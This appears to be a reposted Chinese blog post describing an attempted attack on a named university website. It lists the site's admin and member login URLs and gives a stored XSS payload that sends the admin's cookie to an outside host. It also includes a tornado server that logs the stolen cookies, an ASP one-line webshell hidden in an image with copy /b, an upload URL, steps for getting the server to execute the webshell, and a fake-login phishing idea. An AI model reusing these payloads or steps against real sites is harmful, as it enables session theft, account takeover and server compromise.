记一次xss攻击尝试(厦门工学院网站)附代码

来源:互联网 发布:pw域名1元注册 编辑:程序博客网 时间:2024/04/27 20:33

        笔者并不是黑客,更不是该校学生,但没有也不想对学校网站做什么破坏,本文也仅提供入侵思路,并非成功方案。也希望大家不要做什么违法行为!


       有很多扫描工具,我是用明小子扫描一些可利用的url,笔者没有特别研究过什么黑客工具,但明小子这个工具是我从小学就开始接触使用的(现在都本科毕业了)所以印象深刻,直接网上随便下载一个下来用。直接在管理员入口扫描输入学校网址即可。

   

      

        通过简单扫描后获得了许多链接,逐一打开看是否有可利用链接。笔者发现了2处登入入口和一处非常有趣的会员列表链接:

  • 管理登入
    http://www.xit.edu.cn/Admin/Admin_Login.asp
  • 会员登入
    http://www.xit.edu.cn/UserLogin.asp
  • 会员列表
    http://www.xit.edu.cn/UserList.asp?ChannelID=0&OrderType=2

通过会员列表获得会员账号,再通过密码找回获得用户。

通过上一步获得的账号,会员登入,登入后进入短消息管理界面,发送跨找攻击的短消息。短消息地址:

  • http://www.xit.edu.cn/User/User_Message.asp?Action=Manage&ManageType=Inbox
撰写XSS的短消息并发送给用户admin(记得选择文本的方式):

<img src="../Skin/blue/powerease_logo.gif" onload="resizepic(this);function resizepic(){ck=document.cookie; url='http://****.cn/sengo?ck='+ck  window.location.href=url;};">

上面的代码是是通过onload方法没有过滤,来嵌入js代码,获得admin的cookie并传送到第三行url地址中。虽然第4行代码会重定向到新的url,但我在新的url地址里面会让它重定向回来。我们发送的时候伪装下标题。


        只要admin用户打开该短消息,就会把他的cookie发送过来,而cookie中包含了账号和密码信息。其中,密码是md5加密的。但这不要紧,我们获取cookie其实就足够了。         如果想获取明文密码,我在后文中会提到方法。



之后编写我们接收端的代码,这里使用Python+tornado。

# -*-coding:utf-8 -*-import tornado.httpserverimport tornado.ioloopimport tornado.optionsimport osimport tornado.webfrom app_log import *from tornado.options import define, optionsdefine("port", default=8000, type=int)class IndexHandler(tornado.web.RequestHandler):    def get(self):        try:            ck = str(self.request.uri)            ck = ck[10:]            info(ck)  # 把cookie写到日志文件            url = 'http://www.xit.edu.cn/User/User_Message.asp?Action=Manage&ManageType=Inbox'            self.redirect(url)        except Exception, e:            error(e)# 开启日志BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))enable_pretty_logging(options=None)tornado.options.parse_command_line()app = tornado.web.Application(handlers=[(r"/sengo", IndexHandler)])http_server = tornado.httpserver.HTTPServer(app)http_server.listen(options.port)tornado.ioloop.IOLoop.instance().start()

上面的xss跨站攻击的代码通过get方式把cookie信息传送过来,而这里的python代码我们直接利用get方法获取cookie参数就可以了。代码很短很简单,如果看不懂可以看一下tornado最基本的get方式的写法,本文不过多累述。

在等待管理员打开短消息期间,我们可以先上传一句话木马。asp一句话木马代码如下:

<%a=request("sengo)%><%eval a%>
其中,“sengo”是一句话登入的密码。我们将一句话木马和图片捆绑。如何制作一句话图片木马,网上有很多方法,请自行查询。笔者建议直接dos下执行:
copy /b  photo.gif+code.asp Button1.gif   
其中,photo.gif是图片文件, code.asp是一句话木马文件。


制作完图片木马后,我们将其上传到如下地址:

  • http://www.xit.edu.cn/user/Upload.asp?dialogtype=UserBlogPic&size=5

上传成功后右击鼠标查看源代码,查看上传后一句话木马图片的地址,记录下地址。



         笔者本来借了台服务器挂上python脚本等待接收cookie的,奈何服务器借了几天就被朋友收回去了。所以做到这里就中断了,但不妨碍我们继续讲思路。

         一旦获得了cookie,cookie包含了明文账号和经过md5加密的密码。我们可以做md5解密,可能会费时比较久或者直接利用cookie登入。其次我们也可以构造虚假登入页面,获得cookie的同时,我们不妨在Python代码中让它重定向到一个虚假的登入页面,模拟一个一模一样的会员登入页面诱导其登入。

         当我们用“admin”管理员账号后台登入后,进入系统设置-》网站频道管理-》下载中心-》上传选项-》上传文件的保存目录,把里边默认的目录改成xxx.asp。

之后通过菜刀工具连接我们的一句话木马,即可上传大马小马等拿webshell。




0 0
原创粉丝点击